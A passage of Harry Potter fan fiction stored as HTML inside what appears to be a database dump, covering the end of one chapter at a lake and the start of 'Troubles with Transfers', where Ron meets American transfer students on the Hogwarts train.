style="text-indent:13.5pt">&#8220;No.&#8221;\nHarry said.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">She\nlooked right at him, &#8220;Everything about you disgusts me, let go!&#8221; She spat,\nangry tears forming in her eyes.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;No.&#8221;\nHe repeated in the same determined tone.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nreally hate you right now, can&#8217;t you understand, I hate you, now get away from\nme!&#8221; She practically shouted as she continued to push harder away.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;No.&#8221;\nIt did no good, no matter what she said Harry knew she didn&#8217;t mean it and was\nonly saying it to get away.&nbsp; He was not\ngoing to let her. She suddenly stopped pushing and struggling to get free,\ninstead she practically fell against him, her body shaking with a violent rush\nof tears. Her arms hung limply at her sides as she cried into his chest making\nhis shirt wet with tears. Harry pulled her into his lap as she seemed\nexhausted; he leaned back slightly against the log pulling her closer to him.\nHe felt her arms go around his waist, holding onto him.&nbsp; He rested his cheek on the top of her\nhead.&nbsp; Harry was relieved that she was no\nlonger hysterical, he sighed into her hair.&nbsp;\n&#8220;Hermione this is not like you at all, what is wrong?&#8221; He asked\ncarefully.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">She\nstill refused to say anything, Harry felt the empty silence.&nbsp; He wasn&#8217;t going to rush her, but he wasn&#8217;t\ngoing to let her go until she said anything.&nbsp;\nHe smoothed the back of her head, threading his fingers through her\nhair. It was soft to the touch, almost like silk. He really liked the feel of\nit between his fingers. He listened to her breathing change and realized she\nwasn&#8217;t in tears any more.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\ndropped her arms from his waist, she pulled back slightly, she noticed his arms\nstill around her knowing that in case she tried to bolt he would be quicker and\nshe would not get away.&nbsp; She wiped her\neyes with a slender finger, &#8220;Sorry, I lost my head.&#8221; She said not looking at\nhim, &#8220;I didn&#8217;t mean to say those things.&#8221; Tears of guilt now forming in her\nbrown eyes.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Those\nwords were pretty hurtful, it proves that Hermione could be really cruel if she\nwanted too, but it didn&#8217;t really matter to him.&nbsp;\nHe looked at her his gaze warm and soft, &#8220;it&#8217;s alright, really. No harm\ndone.&#8221;&nbsp; He tried to smile for her\nsake.&nbsp; She obviously wasn&#8217;t convinced,\nand he could see that. &#8220;Hermione, you know I only want to help you.&#8221;<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nknow.&#8221; She whispered looking down, &#8220;you can let go of me now, I&#8217;m not going to\nrun off.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\ngave her a suspicious look but it faded and he dropped his arms from around\nher, He regretted doing that, it was a nice holding her to him, even if she was\na hysterical wreck just a few moments ago.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nsaw something sparkling down near Harry&#8217;s leg, it was her necklace. Her hand\nimmediately went to her neck and felt that it was no longer there. And then she\nlooked down at the necklace and picked it up looking at it &#8220;How did this get on\nthe ground?&#8221; She looked down at Harry whose head was a tad lower than hers, she\nrealized now that she was still sitting on him and quickly moved to sit beside\nhim, &#8220;I was wearing this last night.&#8221; She said out loud as if working out a\nproblem in her studies, &#8220;And I thought that only I or certain people could take\nit off, it wouldn&#8217;t have just fallen off.&#8221; She kept mumbling.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;What\nare you mumbling about?&#8221; Harry asked with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;This.&#8221;\nShe said lifting the necklace up so he can see it.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Oh\nthat,&#8221; He grabbed it from her.&nbsp; &#8220;Yeah\nI&#8217;ve been meaning to ask you about where you got that. It is very nice.&#8221;&nbsp; Harry stared at the opal stone. &#8220;I took it\noff last night.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;You\ndid, why and how?&#8221; She was staring at him oddly.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Well\nfirst of all Ron and Ginny thought maybe it was some form of dark magic and\nthey tried to remove it but it burnt them, so Ron suggested that I remove it\nbecause of my protection against evil, you know. Besides if it was burning Ron\nand Ginny who knows what it was doing to you or your mind.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nnodded thinking that ghost probably lied and remembering the pain surging\nthrough her when she put the necklace on.&nbsp;\nIt was probably a form of dark magic. &#8220;Well if it is dark magic, it sure\nis a shame. Because it is one beautiful piece of jewelry and I don&#8217;t own very\nmuch so I think I would like to have it back.&#8221; She held her hand out for it.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Nope\nHermione, sorry but I&#8217;m not going to give it back until we&#8217;ve had it checked\nfor curses you know how it goes.&#8221; He smiled</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nfolded her arms across her chest like a child pouting, &#8220;Is this because of that\nwhole firebolt thing I made you go through?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Maybe,\nmaybe not.&#8221; He teased. His smile then faded into a serious expression.&nbsp; &#8220;Now are you going to tell me what is\nbothering you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">She\nlooked away for a moment and then back at him, &#8220;It&#8217;s not just one thing. It&#8217;s\nquite a few things, a lot of things actually.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Well\nI have a lot of time for you Hermione if you need it.&#8221; He smiled lightly.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nreturned the smile, it was true whenever she need it, he always made time to\ntalk with her, about whatever she wanted.&nbsp;\nThis was it she had decided she was going to finally say something, so\nwhat if it would ruin her friendship, it was worth it.&nbsp; &#8220;Alright, I&#8217;m going to say something really\nimportant, and I want you to listen to me very carefully.&#8221; She saw him nod,\ntaking a deep breath, she closed her eyes for a moment. Then opened them to see\nhis gaze smiling at her. She almost forgot what she was going to say she found\nherself lost. Quickly, Hermione shook her head, &#8220;for a few years now, I have\nbeen so&#8212;&#8221; a voice came from right next to her interrupting her.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Good\nmorning, all.&nbsp; Harry can I talk to you\nfor a moment.&#8221; Ginny requested.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nsquinted her eyes<i style="mso-bidi-font-style:normal">, thanks a lot Ginny,\nyou have excellent timing</i>. She thought to herself looking up at Ginny with\na false smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nlooked up at Ginny, &#8220;Ginny I was kind of talking with Hermione here, can this\nwait?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nshook her head, &#8220;no it&#8217;s alright Harry, go and talk with Ginny. I&#8217;ll be\nalright.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nlooked at Hermione, her face was expressionless again, much like before. He had\nnoticed that when she was just talking to him he saw a glimmer of happiness and\nher own confidence returning. But now it was replaced by that new distant\nHermione once again. The one he never wanted to see again.&nbsp; &#8220;are you sure?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Yes\nI&#8217;m sure.&#8221; She said in a colorless tone. Hermione stood feeling a slight draft,\nshe looked down at Harry who was so obviously staring at her long legs. She\nturned away as her cheeks flushed to a bright red.&nbsp; She grabbed the hem of her nightshirt and\nstarted pulling it down so it would cover more of her, she turned quickly and\nmade a sprint towards the tent to change.&nbsp;\nShe could hear the conversation beginning with Harry and Ginny, he\ndidn&#8217;t sound too pleased with what Ginny was saying, his tone was slightly\naggravated.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">***\n</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">The\ncar was packed up to leave the lake, they all took their seats.&nbsp; So Hermione wouldn&#8217;t have to talk to anybody\non the way back she immediately opened her book.&nbsp; She knew that Harry would want to resume the\nconversation they were about to have when Ginny interrupted.&nbsp; She didn&#8217;t know what had came over her, she\nwas ready to tell him all her feelings. What a dumb thing that would have been,\nand was now glad she decided to keep it to herself.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nlooked above the top of the rim of her book at everyone sitting and talking,\nshe glanced at them one at a time Fred and George were talking secretly amongst\nthemselves, Ron was talking to Ginny about what classes at school were boring\nthat he had taken during his fourth year, and what classes were dumb or\nentertaining.&nbsp; She then looked over at\nHarry and was startled that he was looking right back at her with an unreadable\nexpression, she pulled the book back up so that she didn&#8217;t have to see it,\nalthough she could still feel his gaze as if it were burning a hole in the\nbook. At least school is starting tomorrow and she&#8217;ll be able to drown herself\nin her studies.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal">The car took off into the\nclouds on its way back to the burrow.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">----------</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Okay\nI know what you&#8217;re all thinking, what&#8217;s the matter with Hermione, why is she\nsuch a wreck? It&#8217;s not really at all what you would expect, that&#8217;s only half of\nit J. What is with everyone and what is the significance of that\nnecklace.&nbsp; Well it will all be explained\neventually. J&nbsp;\nStay tuned for chapter 3-- trouble with transfers, it&#8217;s a real problem.\nPlease read and review thanks, Ryoko.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(41, 3, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="text-indent:13.5pt">Disclaimer:\nAlright all the Harry Potter characters\nbelong to J.K. Rowlings, except for the plot, Zara, Jewel, Enrique, Jasmine,\nUlrich, Torrin, Alina,, Leelee, Kai, Finley and Orvin.&nbsp; Those are mine. So please don&#8217;t sue me because\nI don&#8217;t have anything</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:13.5pt" align="center">Chapter 3--Troubles with Transfers</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">The\nWeasley&#8217;s, Hermione and Harry were rushing through the train station trying to\nget to platform 9 &#190;.&nbsp; The station seemed\nmore crowded as they went through the barrier two by two trying not to be\nnoticed. After they had said their good byes they boarded the train, finding an\nempty compartment Harry, Ron and Hermione went and sat down waiting for the\ntrain whistle to sound. Ginny had decided to go and sit with her friend Alexa\nin the compartment near the front of the train, so that just left Ron, Harry\nand Hermione by themselves.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">It\nwas unusually quiet while Hermione just stared out the window as the train\nwhistle sounded and started to move, usually she was full of things to\nsay.&nbsp; Both Ron and Harry shook their\nheads.&nbsp; Ron crossed the compartment and\nsat next to Harry &#8220;well something in her has changed.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\njust wish I knew what it was.&#8221;&nbsp; Harry\nheard noises near Pig&#8217;s cage and when he looked he noticed the cage door was\nswinging open, he looked to the floor and saw the little owl hopping and trying\nto fly near to the ground probably not wanting Ron to see him, &#8220;uh Ron, Pig is\nloose.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron&#8217;s\nhead snapped around, &#8220;what? Not again.&#8221; He jumped up from his seat and chased\nafter his owl, &#8220;why can&#8217;t that owl just sit still for once.&#8221; He darted out of\nthe compartment and wandered down the hall. Usually the hall wasn&#8217;t so crowded\nbut it sure seemed like there was a lot more students this year. He saw pig&#8217;s\nlittle figure circling through the many bodies.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Pig,&#8221;\nhe said out loud exasperated It wasn&#8217;t hard for him to see over peoples heads,\nhe saw pig swoop down to the ground and start to jump into another compartment.\n&#8220;No, pig.&#8221; He shouted and jumped to the ground for the little owl but he was\ntoo late the compartment doors closed with pig on the other side. On his knees\nRon pressed an ear to the compartment he heard three voices on the other side\ntalking about the cute little owl&nbsp; was\nthat just hopped in.&nbsp; &#8220;Yeah, sure.&#8221; Ron\nsaid and the compartment door slid open.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron\ngasped as he saw a black leather heeled boot, looking up slowly he finding a\npair of slender, shapely brownishgold legs, a short black leather mini dress.\nHis eyes meeting a smiling face and twinkling mysterious dark eyes looking down\nat him, but his gaze rested on the odd coloring of her really long hair, was\nthat purple hair? <i style="mso-bidi-font-style:normal">Does she have purple\nhair? </i>He thought to himself.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;&#8220;Hi,&#8221; he said breathlessly, he couldn&#8217;t get\nthe word out feeling his mind not working right.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\ncan assume this owl belongs to you?&#8221; she said looking down on him with an\nattractive smile.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Nodding,\nRon couldn&#8217;t find the words to speak but he noticed that she did not have a\nBritish accent. And that he had never seen her before in his life and he&#8217;s been\ngoing to this school for a long time. Ron then realized he was still kneeling\non the floor he immediately stood to his full height and he saw her staring\nwide eyed with a grin of appreciation. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Wow.&#8221;\nShe said, &#8220;you&#8217;re a big guy aren&#8217;t you?&#8221; She said dreamily as herself was only\nfive six but with her heeled boots she was at least five eight and then sighed.\n</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron\nfelt himself blush, he had never blushed before. &#8220;I suppose,&#8221; he said uneasy.\n&#8220;D&#8212;do you think I could have my owl back?&#8221; he found his voice again.&nbsp; He watched the girl hold the small owl out to\nhim and he took it back.&nbsp; &#8220;Are you new to\nHogwarts?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">She\nnodded &#8220;yes, a whole bunch of us are transferring schools. Ours sadly is no\nmore.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;No\nwonder there&#8217;s a lot more people on this train this year.&#8221; He smiled foolishly\nhe heard voice from behind the girl standing in front of him. And saw two more\npeople coming towards him, another girl with bright magenta hair and a guy with\nbluishgreen hair. He couldn&#8217;t believe it what an odd group of people; they\nseemed to be the only ones that he has seen on this train with funky hair.\nThat&#8217;s probably why these three were together.&nbsp;\nThe guy came up and looked up at Ron with suspicion. &#8220;Hey Zara who&#8217;s\nthis?&#8221; It was clear to Ron that this guy was talking to the girl standing\nbefore him who rolled her eyes aggravated.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Ron\nWeasley,&#8221; he said immediately.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Zara\nthought and then nodded, &#8220;well that flows good.&#8221; She smiled. &#8220;this is Jewel.&#8221;\nZara pointed to the girl with magenta hair who smiled and pointed a finger in\nthe air, &#8220;and Enrique,&#8221; She pointed to the guy with bluishgreen hair who lifted\nhis chin.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;So\nthat was your owl was it?&#8221; Jewel asked, &#8220;it is so cute I wanted to keep it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron\nsmiled, &#8220;you wouldn&#8217;t want him, Pig can be quite a handful.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;You\nnamed your owl Pig?&#8221; Enrique was sarcastic.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Already\nRon did not like this guy, something about him was irritating maybe it was his\npersonality, &#8220;It&#8217;s short for Pigwidegon&#8221; <i style="mso-bidi-font-style:normal">You\nblue haired freak</i>.&nbsp; He added silently\nand forced a smile, &#8220;where do you students come from?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;America.&#8221;\nEnrique replied.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Shut\nup Enrique.&#8221; Zara said with an angry glare at her friend, &#8220;I think he figured\nthat part out.&#8221; She turned back to Ron with a smile, &#8220;don&#8217;t let him get to you,\nthat&#8217;s just part of his charm. We came from Salemston, in the grand state of\nMassachusetts; you know where the settlers were tried for witchcraft in the\nseventeenth century.&#8221; Zara smiled.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">For\nsome reason Ron felt his heart melt with her smile, &#8220;ah, it&#8217;s not British\nhistory but I do recall hearing something about that.&#8221;<br>\n<br>\n&nbsp;&#8220;Actually it was, in Salemston; a\nhistory, at the time of the witch hunts Massachusetts was still a British\ncolony.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Oh great another Hermione, he thought to himself.</i>&nbsp; &#8220;You aren&#8217;t\none of those know-it-all&#8217;s are you?&#8221; his voice was cautious.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Ha!\nHardly, if I&#8217;m a know-it-all may the gods strike me down.&#8221; She announced and\nnothing happened.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron\ncouldn&#8217;t help smiling foolishly again and he felt he should leave before he\nactually made a fool out of himself, &#8220;well it was nice meeting you three, I\nshould get back to my friends.&#8221; He turned to walk away hearing Enrique talking\nin a lower voice.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;He\nhas friends? I find that hard to believe,&#8221; Enrique&#8217;s tone was rude.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron\nshook his head back and forth then hearing two slaps, he turned a moment and\nthe blue haired freak was rubbing his arms glaring at the two girls. Ron smiled\nto himself and continued towards his compartment.&nbsp; When he opened his compartment doors it was\njust as he had left it, still quiet and both Harry and Hermione were sitting in\nthe same place. She was still faced towards the window but Harry was asleep.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;Ron noticed that Hermione was thinking not\njust looking out the window. He put Pig back in his cage and locked it\nsecurely, and then sat down on the opposite side of her, after awhile he was\nabout to doze off when a flash of magenta rushed by, snapping him out of his\ndaze, he looked towards the door and saw that girl Jewel still rushing past the\nopen doors of his compartment and a second later she rushed back Enrique had\nmet her half way and she was saying something in his ear.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Very\nintrigued Ron moved over closer to the doors, through the corner of his eye\nHermione turned towards the open doors and saw the new students and stared. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hermione\nlooked over at Harry who was sleeping and she gently shook his arm, she watched\nhis eyes flutter open and he turned his head, looking at her. &#8220;What? Are we\nalmost there?&#8221; He asked.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;No.&#8221;\nHermione said shaking her head, and she pointed to the two people outside the\ncompartment.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nturned and looked then turned back, &#8220;interesting, they must be new.&#8221; He turned\nback and watched them.&nbsp; He saw the guy\nwith bluishgreen hair nod and the magenta haired woman turn and walked away.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;Zara walked up behind Enrique and he\nimmediately turned around, &#8220;H&#8212;hey Zara where are you going?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">She\nlooked at him oddly, &#8220;I was going to look around, didn&#8217;t you ask Jewel and I if\nwe wanted to come with you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Yes,\nbut&#8212;&#8221; he paused and looked around seeing that guy Ron Weasley and looked right\nat him. &#8220;Look Zara it&#8217;s your new friend Ron Weasley, why don&#8217;t you talk to him\nfor a moment?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Zara\nlooked at Ron through the open compartment doors and smiled, she then looked\nback at Enrique with suspicion. &#8220;Enrique, what&#8217;s going on?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;N&#8212;n&#8212;nothing,\nwhat could possibly be going on?&#8221; He smiled foolishly looking really guilty\nabout something.&nbsp; He immediately thought\nof something, &#8220;I have a tiny crush on Jewel and I just wanted to spend some\ntime with her alone, you know just the two of us.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Zara\nstared, &#8220;really Enrique I had no idea.&nbsp;\nOkay I&#8217;ll come and join you guys after you&#8217;ve had some time to each\nother.&#8221; She turned and looked at Ron with a smile.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron\nfelt a flush rise to his cheeks, &#8220;Uh hi would you like to come in.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Sure.&#8221;\nZara said and she stepped through the compartment doors, and felt the eyes of\nRon&#8217;s friends on her. She smiled at them. &#8220;Hey.&#8221; She said with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Hey,&#8221;\nBoth Harry and Hermione said at the same time, and they were both looking at\nher.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Zara\nturned to Ron, &#8220;well you&#8217;ve met my friends, now I get to meet yours.&#8221; She sat\ndown next to Ron with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Uh,\nZara.&#8221; He started and pointed to both his friends, &#8220;Hermione Granger and Harry\nPotter.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Zara\nlooked right at Harry, &#8220;really? Oh my God Jewel is just going to flip when she\nhears this, although she&#8217;s probably the only one who would.&#8221;&nbsp; She looked at Ron, who was blushing, she\nstifled her laugh and turned away from him looking over at Harry and Hermione,\nthinking <i style="mso-bidi-font-style:normal">too bad Jewel is with Enrique.\nOh well</i>.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nturned to look out the window even Americans knew who he was but at least he\nwasn&#8217;t really famous over there and that eased his mind a bit. He looked back\nat her trying not to stare at her oddly colored hair. Which he found went very\nwell with her darkened skin tone.&nbsp; She\nlooked kinda of East Indian or middle eastern, he couldn&#8217;t figure out which one\nthough.&nbsp; &#8220;You&#8217;re a transfer student?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I&#8217;m\nafraid so.&nbsp; Only a few of us got selected\nto transfer to Hogwarts, I think only fifteen of us are going. I really have no\nidea where the rest of Salemston&#8217;s student body went.&#8221; Zara thought out loud.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Salemston\nthat was your school?&#8221; Hermione asked thinking she&#8217;s never really heard of it.\nAnd she was also trying not to stare at her purple hair.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Was,\nis right. Something happened to it, it was destroyed.&#8221; She sighed, &#8220;for\nwhatever reason I have no clue.&#8221;&nbsp; She\nturned slightly towards the open compartment doors and saw someone coming\ntowards the compartment, she recognized him immediately as he stopped before\nthe compartment and looked in as if looking for someone and found her.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;What\ndo you want Malfoy.&#8221; Ron was impatient.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;None\nof your business Weasley.&#8221; He said rudely.&nbsp;\n&#8220;Hey Granger can I see you a moment?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hermione\nstared, &#8220;no.&#8221; she said bluntly.&nbsp; She\nlooked over at Harry who was glaring in Draco&#8217;s direction.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Go\naway Malfoy,&#8221; Harry was aggravated by just the mere presence of Draco Malfoy.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Granger\nhas something of mine and I want it back.&#8221; Draco announced.</p>\n\n<p class="MsoNormal" 